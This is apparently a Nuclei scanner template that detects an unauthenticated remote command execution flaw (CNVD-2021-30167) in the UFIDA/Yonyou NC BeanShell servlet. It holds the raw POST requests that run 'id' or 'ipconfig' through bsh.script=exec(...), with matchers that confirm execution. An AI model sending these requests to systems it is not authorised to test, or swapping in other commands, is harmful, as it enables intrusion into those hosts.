id: CNVD-2021-30167

info:
  name: UFIDA NC BeanShell Remote Command Execution
  author: pikpikcu
  severity: critical
  description: UFIDA NC BeanShell contains a remote command execution vulnerability in the bsh.servlet.BshServlet program.
  reference:
    - https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
    - https://www.cnvd.org.cn/webinfo/show/6491
    - https://chowdera.com/2022/03/202203110138271510.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 2
  tags: cnvd2021,cnvd,beanshell,rce,yonyou,vuln

http:
  - raw:
      - | #linux
        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        bsh.script=exec("id");
      - | #windows
        POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        bsh.script=exec("ipconfig");

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "uid="
          - "Windows IP"
        condition: or

      - type: word
        words:
          - "BeanShell Test Servlet"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022054ff15bb2fa9d61bb8455941a58bf7d3bb88f654ba5cf6cb86abbe231fe8acad022100f463d07451e117c23371548015935ec8ed301a5a224642a653596baaaa8d1ce8:922c64590222798bb761d5b6d8e72950